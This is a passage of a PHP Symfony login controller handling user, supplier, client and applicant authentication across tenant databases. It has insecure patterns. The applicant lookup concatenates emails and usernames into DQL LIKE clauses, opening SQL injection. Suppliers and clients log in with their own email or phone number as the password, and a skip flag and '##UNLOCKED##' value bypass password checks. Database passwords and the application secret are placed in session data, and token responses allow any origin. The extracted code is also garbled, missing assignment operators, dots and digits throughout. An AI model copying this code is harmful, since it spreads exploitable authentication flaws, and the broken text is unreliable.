  1455.                                     //            ;
  1456.                                     $this->get('mailer')->send($emailmessage);
  1457.                                 }
  1458.                             }
  1459.                         }
  1460.                     }
  1461.                 } else {
  1462.                     $data = array();
  1463.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1464.                         array(
  1465.                             'email' => $request->request->get('username')
  1466.                         )
  1467.                     );
  1468.                     if (!$user) {
  1469.                         $message "Wrong Email";
  1470.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1471.                             return new JsonResponse(array(
  1472.                                 'uid' => $session->get(UserConstants::USER_ID),
  1473.                                 'session' => $session,
  1474.                                 'success' => false,
  1475.                                 'errorStr' => $message,
  1476.                                 'session_data' => [],
  1477.                             ));
  1478.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1479.                             //                    return $response;
  1480.                         }
  1481.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1482.                             "message" => $message,
  1483.                             'page_title' => "Login",
  1484.                             'gocList' => $gocDataList,
  1485.                             'gocId' => $gocId
  1486.                         ));
  1487.                     }
  1488.                     if ($user) {
  1489.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  1490.                             $message "Sorry, Your Account is Deactivated";
  1491.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1492.                                 return new JsonResponse(array(
  1493.                                     'uid' => $session->get(UserConstants::USER_ID),
  1494.                                     'session' => $session,
  1495.                                     'success' => false,
  1496.                                     'errorStr' => $message,
  1497.                                     'session_data' => [],
  1498.                                 ));
  1499.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1500.                                 //                    return $response;
  1501.                             }
  1502.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1503.                                 "message" => $message,
  1504.                                 'page_title' => "Login",
  1505.                                 'gocList' => $gocDataList,
  1506.                                 'gocId' => $gocId
  1507.                             ));
  1508.                         }
  1509.                     }
  1510.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  1511.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  1512.                         $message "Wrong Email/Password";
  1513.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1514.                             return new JsonResponse(array(
  1515.                                 'uid' => $session->get(UserConstants::USER_ID),
  1516.                                 'session' => $session,
  1517.                                 'success' => false,
  1518.                                 'errorStr' => $message,
  1519.                                 'session_data' => [],
  1520.                             ));
  1521.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1522.                             //                    return $response;
  1523.                         }
  1524.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1525.                             "message" => $message,
  1526.                             'page_title' => "Login",
  1527.                             'gocList' => $gocDataList,
  1528.                             'gocId' => $gocId
  1529.                         ));
  1530.                     }
  1531.                 }
  1532.                 if ($user) {
  1533.                     //set cookie
  1534.                     if ($remember_me == 1)
  1535.                         $session->set('REMEMBERME'1);
  1536.                     else
  1537.                         $session->set('REMEMBERME'0);
  1538.                     $userType $user->getUserType();
  1539.                     // Entity User
  1540.                     $userId $user->getUserId();
  1541.                     $session->set(UserConstants::USER_ID$user->getUserId());
  1542.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  1543.                     $session->set('firstLogin'$firstLogin);
  1544.                     $session->set(UserConstants::USER_TYPE$userType);
  1545.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  1546.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  1547.                     $session->set('oAuthImage'$user->getOAuthImage());
  1548.                     $session->set(UserConstants::USER_NAME$user->getName());
  1549.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1550.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  1551.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  1552.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  1553.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  1554.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  1555.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  1556.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  1557.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  1558.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  1559.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  1560.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  1561.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  1562.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1563.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1564.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1565.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1566.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1567.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1568.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  1569.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  1570.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  1571.                     $route_list_array = [];
  1572.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  1573.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  1574.                     $loginID EntityUserM::addEntityUserLoginLog(
  1575.                         $em_goc,
  1576.                         $userId,
  1577.                         $request->server->get("REMOTE_ADDR"),
  1578.                         0,
  1579.                         $deviceId,
  1580.                         $oAuthData['token'],
  1581.                         $oAuthData['type']
  1582.                     );
  1583.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  1584.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1585.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1586.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1587.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1588.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1589.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1590.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  1591.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1592.                     $appIdList json_decode($user->getUserAppIdList());
  1593.                     if ($appIdList == null)
  1594.                         $appIdList = [];
  1595.                     $companyIdListByAppId = [];
  1596.                     $companyNameListByAppId = [];
  1597.                     $companyImageListByAppId = [];
  1598.                     if (!in_array($user->getUserAppId(), $appIdList))
  1599.                         $appIdList[] = $user->getUserAppId();
  1600.                     foreach ($appIdList as $currAppId) {
  1601.                         if ($currAppId == $user->getUserAppId()) {
  1602.                             foreach ($company_id_list as $index_company => $company_id) {
  1603.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  1604.                                 $app_company_index $currAppId '_' $company_id;
  1605.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  1606.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  1607.                             }
  1608.                         } else {
  1609.                             $dataToConnect System::changeDoctrineManagerByAppId(
  1610.                                 $this->getDoctrine()->getManager('company_group'),
  1611.                                 $gocEnabled,
  1612.                                 $currAppId
  1613.                             );
  1614.                             if (!empty($dataToConnect)) {
  1615.                                 $connector $this->container->get('application_connector');
  1616.                                 $connector->resetConnection(
  1617.                                     'default',
  1618.                                     $dataToConnect['dbName'],
  1619.                                     $dataToConnect['dbUser'],
  1620.                                     $dataToConnect['dbPass'],
  1621.                                     $dataToConnect['dbHost'],
  1622.                                     $reset true
  1623.                                 );
  1624.                                 $em $this->getDoctrine()->getManager();
  1625.                                 $companyList Company::getCompanyListWithImage($em);
  1626.                                 foreach ($companyList as $c => $dta) {
  1627.                                     //                                $company_id_list[]=$c;
  1628.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  1629.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  1630.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  1631.                                     $app_company_index $currAppId '_' $c;
  1632.                                     $company_locale $companyList[$c]['locale'];
  1633.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  1634.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  1635.                                 }
  1636.                             }
  1637.                         }
  1638.                     }
  1639.                     $session->set('appIdList'$appIdList);
  1640.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  1641.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  1642.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  1643.                     $branchIdList json_decode($user->getUserBranchIdList());
  1644.                     $branchId $user->getUserBranchId();
  1645.                     $session->set('branchIdList'$branchIdList);
  1646.                     $session->set('branchId'$branchId);
  1647.                     if ($user->getAllModuleAccessFlag() == 1)
  1648.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1649.                     else
  1650.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1651.                     $session_data = array(
  1652.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  1653.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  1654.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  1655.                         'firstLogin' => $firstLogin,
  1656.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  1657.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  1658.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  1659.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  1660.                         'oAuthImage' => $session->get('oAuthImage'),
  1661.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  1662.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  1663.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  1664.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  1665.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  1666.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  1667.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  1668.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  1669.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  1670.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  1671.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  1672.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  1673.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  1674.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  1675.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  1676.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  1677.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  1678.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  1679.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  1680.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  1681.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  1682.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  1683.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  1684.                         //new
  1685.                         'appIdList' => $session->get('appIdList'),
  1686.                         'branchIdList' => $session->get('branchIdList'null),
  1687.                         'branchId' => $session->get('branchId'null),
  1688.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  1689.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  1690.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  1691.                     );
  1692.                     $session_data $this->filterClientSessionData($session_data);
  1693.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  1694.                     $token $tokenData['token'];
  1695.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1696.                         $session->set('remoteVerified'1);
  1697.                         $response = new JsonResponse(array(
  1698.                             'token' => $token,
  1699.                             'uid' => $session->get(UserConstants::USER_ID),
  1700.                             'session' => $session,
  1701.                             'success' => true,
  1702.                             'session_data' => $session_data,
  1703.                         ));
  1704.                         $response->headers->set('Access-Control-Allow-Origin''*');
  1705.                         return $response;
  1706.                     }
  1707.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  1708.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  1709.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  1710.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  1711.                                 $redPath parse_url($redPHP_URL_PATH);
  1712.                                 $redPath strtolower($redPath === false || $redPath === null $red $redPath);
  1713.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1714.                                 // Never land the browser on a non-navigational endpoint (JSON/AJAX)
  1715.                                 // that was bounced to login pre-auth â€” e.g. the signature probes the
  1716.                                 // signature-setup modal/footer fire on first load (/signature_status
  1717.                                 // AND /CheckSignatureHash, which returns the raw signature hash).
  1718.                                 // Match any "signature" or "/api/" path. Otherwise first login dumps
  1719.                                 // the user on raw JSON instead of the app.
  1720.                                 if (strripos($redPath'/auth/') === false && strripos($redPath'undefined') === false
  1721.                                     && strripos($redPath'signature') === false && strripos($redPath'/api/') === false) {
  1722.                                     return $this->redirect($red);
  1723.                                 }
  1724.                                 // Guarded (non-navigational) target â€” send to the dashboard rather
  1725.                                 // than falling through to raw JSON / further login processing.
  1726.                                 return $this->redirectToRoute("dashboard");
  1727.                             }
  1728.                         } else {
  1729.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1730.                         }
  1731.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  1732.                         return $this->redirectToRoute("dashboard");
  1733.                     else
  1734.                         return $this->redirectToRoute($user->getDefaultRoute());
  1735. //                    if ($request->server->has("HTTP_REFERER")) {
  1736. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  1737. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  1738. //                        }
  1739. //                    }
  1740. //
  1741. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  1742. //                    if ($request->request->has('referer_path')) {
  1743. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  1744. //                            return $this->redirect($request->request->get('referer_path'));
  1745. //                        }
  1746. //                    }
  1747.                     //                    if($request->request->has('gocId')
  1748.                 }
  1749.             } else {
  1750.                 if ($specialLogin == 1) {
  1751.                 } else if (strpos($uname'SID-') !== false) {
  1752.                     $specialLogin 1;
  1753.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  1754.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1755.                     //*** supplier id will be last 6 DIgits
  1756.                     $str_app_id_supplier_id substr($uname4);
  1757.                     //                if((1*$str_app_id_supplier_id)>1000000)
  1758.                     {
  1759.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  1760.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  1761.                     }
  1762.                     //                else
  1763.                     //                {
  1764.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  1765.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  1766.                     //                }
  1767.                 } else if (strpos($uname'CID-') !== false) {
  1768.                     $specialLogin 1;
  1769.                     $userType UserConstants::USER_TYPE_CLIENT;
  1770.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1771.                     //*** supplier id will be last 6 DIgits
  1772.                     $str_app_id_client_id substr($uname4);
  1773.                     $clientId = ($str_app_id_client_id) % 1000000;
  1774.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  1775.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  1776.                     $specialLogin 1;
  1777.                     $userType UserConstants::USER_TYPE_APPLICANT;
  1778.                     $isApplicantLogin 1;
  1779.                     if ($oAuthData) {
  1780.                         $email $oAuthData['email'];
  1781.                         $userName $email;
  1782. //                        $userName = explode('@', $email)[0];
  1783. //                        $userName = str_split($userName);
  1784. //                        $userNameArr = $userName;
  1785.                     } else if (strpos($uname'APP-') !== false) {
  1786.                         $email $uname;
  1787.                         $userName substr($email4);
  1788. //                        $userNameArr = str_split($userName);
  1789. //                        $generatedIdFromAscii = 0;
  1790. //                        foreach ($userNameArr as $item) {
  1791. //                            $generatedIdFromAscii += ord($item);
  1792. //                        }
  1793. //
  1794. //                        $str_app_id_client_id = $generatedIdFromAscii;
  1795. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  1796. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  1797.                     } else {
  1798.                         $email $uname;
  1799.                         $userName $uname;
  1800. //                            $userName = substr($email, 4);
  1801. //                        $userName = explode('@', $email)[0];
  1802. //                            $userNameArr = str_split($userName);
  1803.                     }
  1804.                 }
  1805.                 $data = array();
  1806.                 if ($hasGoc == 1) {
  1807.                     if ($gocId != && $gocId != "") {
  1808. //                        $gocId = $request->request->get('gocId');
  1809.                         $gocDbName $gocDataList[$gocId]['dbName'];
  1810.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  1811.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  1812.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  1813.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  1814.                         $connector $this->container->get('application_connector');
  1815.                         $connector->resetConnection(
  1816.                             'default',
  1817.                             $gocDataList[$gocId]['dbName'],
  1818.                             $gocDataList[$gocId]['dbUser'],
  1819.                             $gocDataList[$gocId]['dbPass'],
  1820.                             $gocDataList[$gocId]['dbHost'],
  1821.                             $reset true
  1822.                         );
  1823.                     } else if ($appId != && $appId != "") {
  1824.                         $gocId $request->request->get('gocId');
  1825.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  1826.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  1827.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  1828.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  1829.                         $gocId $gocDataListByAppId[$appId]['id'];
  1830.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  1831.                         $connector $this->container->get('application_connector');
  1832.                         $connector->resetConnection(
  1833.                             'default',
  1834.                             $gocDbName,
  1835.                             $gocDbUser,
  1836.                             $gocDbPass,
  1837.                             $gocDbHost,
  1838.                             $reset true
  1839.                         );
  1840.                     }
  1841.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  1842.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  1843.                     if ($gocId != && $gocId != "") {
  1844.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  1845.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  1846.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  1847.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  1848.                         $connector $this->container->get('application_connector');
  1849.                         $connector->resetConnection(
  1850.                             'default',
  1851.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  1852.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  1853.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  1854.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  1855.                             $reset true
  1856.                         );
  1857.                     }
  1858.                 }
  1859.                 $session $request->getSession();
  1860.                 $em $this->getDoctrine()->getManager();
  1861.                 //will work on later on supplier login
  1862.                 if ($specialLogin == 1) {
  1863.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  1864.                         //validate supplier
  1865.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  1866.                             ->findOneBy(
  1867.                                 array(
  1868.                                     'supplierId' => $supplierId
  1869.                                 )
  1870.                             );
  1871.                         if (!$supplier) {
  1872.                             $message "Wrong UserName";
  1873.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1874.                                 return new JsonResponse(array(
  1875.                                     'uid' => $session->get(UserConstants::USER_ID),
  1876.                                     'session' => $session,
  1877.                                     'success' => false,
  1878.                                     'errorStr' => $message,
  1879.                                     'session_data' => [],
  1880.                                 ));
  1881.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1882.                                 //                    return $response;
  1883.                             }
  1884.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1885.                                 "message" => $message,
  1886.                                 'page_title' => "Login",
  1887.                                 'gocList' => $gocDataList,
  1888.                                 'gocId' => $gocId
  1889.                             ));
  1890.                         }
  1891.                         if ($supplier) {
  1892.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  1893.                                 $message "Sorry, Your Account is Deactivated";
  1894.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1895.                                     return new JsonResponse(array(
  1896.                                         'uid' => $session->get(UserConstants::USER_ID),
  1897.                                         'session' => $session,
  1898.                                         'success' => false,
  1899.                                         'errorStr' => $message,
  1900.                                         'session_data' => [],
  1901.                                     ));
  1902.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1903.                                     //                    return $response;
  1904.                                 }
  1905.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1906.                                     "message" => $message,
  1907.                                     'page_title' => "Login",
  1908.                                     'gocList' => $gocDataList,
  1909.                                     'gocId' => $gocId
  1910.                                 ));
  1911.                             }
  1912.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  1913.                                 //pass ok proceed
  1914.                             } else {
  1915.                                 if ($skipPassword == 1) {
  1916.                                 } else {
  1917.                                     $message "Wrong Email/Password";
  1918.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1919.                                         return new JsonResponse(array(
  1920.                                             'uid' => $session->get(UserConstants::USER_ID),
  1921.                                             'session' => $session,
  1922.                                             'success' => false,
  1923.                                             'errorStr' => $message,
  1924.                                             'session_data' => [],
  1925.                                         ));
  1926.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1927.                                         //                    return $response;
  1928.                                     }
  1929.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1930.                                         "message" => $message,
  1931.                                         'page_title' => "Login",
  1932.                                         'gocList' => $gocDataList,
  1933.                                         'gocId' => $gocId
  1934.                                     ));
  1935.                                 }
  1936.                             }
  1937.                             $jd = [$supplier->getCompanyId()];
  1938.                             if ($jd != null && $jd != '' && $jd != [])
  1939.                                 $company_id_list $jd;
  1940.                             else
  1941.                                 $company_id_list = [1];
  1942.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  1943.                             foreach ($company_id_list as $c) {
  1944.                                 $company_name_list[$c] = $companyList[$c]['name'];
  1945.                                 $company_image_list[$c] = $companyList[$c]['image'];
  1946.                             }
  1947.                             $user $supplier;
  1948.                         }
  1949.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  1950.                         //validate supplier
  1951.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  1952.                             ->findOneBy(
  1953.                                 array(
  1954.                                     'clientId' => $clientId
  1955.                                 )
  1956.                             );
  1957.                         if (!$client) {
  1958.                             $message "Wrong UserName";
  1959.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1960.                                 return new JsonResponse(array(
  1961.                                     'uid' => $session->get(UserConstants::USER_ID),
  1962.                                     'session' => $session,
  1963.                                     'success' => false,
  1964.                                     'errorStr' => $message,
  1965.                                     'session_data' => [],
  1966.                                 ));
  1967.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1968.                                 //                    return $response;
  1969.                             }
  1970.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1971.                                 "message" => $message,
  1972.                                 'page_title' => "Login",
  1973.                                 'gocList' => $gocDataList,
  1974.                                 'gocId' => $gocId
  1975.                             ));
  1976.                         }
  1977.                         if ($client) {
  1978.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  1979.                                 $message "Sorry, Your Account is Deactivated";
  1980.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1981.                                     return new JsonResponse(array(
  1982.                                         'uid' => $session->get(UserConstants::USER_ID),
  1983.                                         'session' => $session,
  1984.                                         'success' => false,
  1985.                                         'errorStr' => $message,
  1986.                                         'session_data' => [],
  1987.                                     ));
  1988.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1989.                                     //                    return $response;
  1990.                                 }
  1991.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1992.                                     "message" => $message,
  1993.                                     'page_title' => "Login",
  1994.                                     'gocList' => $gocDataList,
  1995.                                     'gocId' => $gocId
  1996.                                 ));
  1997.                             }
  1998.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  1999.                                 //pass ok proceed
  2000.                             } else {
  2001.                                 if ($skipPassword == 1) {
  2002.                                 } else {
  2003.                                     $message "Wrong Email/Password";
  2004.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2005.                                         return new JsonResponse(array(
  2006.                                             'uid' => $session->get(UserConstants::USER_ID),
  2007.                                             'session' => $session,
  2008.                                             'success' => false,
  2009.                                             'errorStr' => $message,
  2010.                                             'session_data' => [],
  2011.                                         ));
  2012.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2013.                                         //                    return $response;
  2014.                                     }
  2015.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2016.                                         "message" => $message,
  2017.                                         'page_title' => "Login",
  2018.                                         'gocList' => $gocDataList,
  2019.                                         'gocId' => $gocId
  2020.                                     ));
  2021.                                 }
  2022.                             }
  2023.                             $jd = [$client->getCompanyId()];
  2024.                             if ($jd != null && $jd != '' && $jd != [])
  2025.                                 $company_id_list $jd;
  2026.                             else
  2027.                                 $company_id_list = [1];
  2028.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2029.                             foreach ($company_id_list as $c) {
  2030.                                 $company_name_list[$c] = $companyList[$c]['name'];
  2031.                                 $company_image_list[$c] = $companyList[$c]['image'];
  2032.                             }
  2033.                             $user $client;
  2034.                         }
  2035.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  2036.                         $em $this->getDoctrine()->getManager('company_group');
  2037.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  2038.                         if ($oAuthData) {
  2039.                             $oAuthEmail $oAuthData['email'];
  2040.                             $oAuthUniqueId $oAuthData['uniqueId'];
  2041.                             $user $applicantRepo->findOneBy(['oAuthEmail' => $oAuthEmail]);
  2042.                             if (!$user) {
  2043.                                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  2044.                                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  2045.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  2046.                                     ->getQuery()
  2047.                                     ->getResult();
  2048.                                 if (!empty($usersQueried))
  2049.                                     $user $usersQueried[0];
  2050.                             }
  2051.                             if (!$user)
  2052.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  2053.                         } else {
  2054.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  2055.                             if (!$user)
  2056.                                 $user $applicantRepo->findOneBy(['oAuthEmail' => $email]);
  2057.                             if (!$user) {
  2058.                                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  2059.                                     ->where("A.email like '%$email%'")
  2060.                                     ->getQuery()
  2061.                                     ->getResult();
  2062.                                 if (!empty($usersQueried))
